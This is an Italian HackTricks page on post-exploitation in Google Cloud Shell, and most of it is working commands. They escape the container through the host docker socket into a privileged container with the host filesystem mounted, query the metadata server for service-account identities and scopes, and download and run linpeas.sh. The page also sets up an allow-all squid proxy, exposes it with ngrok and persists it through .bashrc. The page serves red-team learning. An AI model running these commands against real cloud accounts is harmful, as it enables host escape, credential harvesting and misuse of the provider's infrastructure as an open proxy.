GCP - Cloud Shell Post Exploitation

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud Shell

Per ulteriori informazioni su Cloud Shell, controlla:

GCP - Cloud Shell Enum

Container Escape

Nota che il Google Cloud Shell gira all'interno di un container, puoi facilmente uscire nel host facendo:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Questo non è considerato una vulnerabilità da Google, ma ti offre una visione più ampia di ciò che sta accadendo in quell'ambiente.

Inoltre, nota che dal host puoi trovare un token dell'account di servizio:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con i seguenti ambiti:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerare i metadati con LinPEAS:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Dopo aver utilizzato https://github.com/carlospolop/bf_my_gcp_permissions con il token del Service Account non è stata scoperta alcuna autorizzazione...

Usalo come Proxy

Se vuoi utilizzare la tua istanza di google cloud shell come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

bash
sudo apt install -y squid

Crea un file squid.conf con le seguenti impostazioni:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copia il file squid.conf in /etc/squid

bash
sudo cp squid.conf /etc/squid

Infine, esegui il servizio squid:

bash
sudo service squid start

Usa ngrok per rendere il proxy disponibile dall'esterno:

bash
./ngrok tcp 3128

Dopo aver eseguito il comando, copia l'url tcp://. Se desideri eseguire il proxy da un browser, si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del tuo browser (squid è un server proxy http).

Per un miglior utilizzo all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Controlla quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks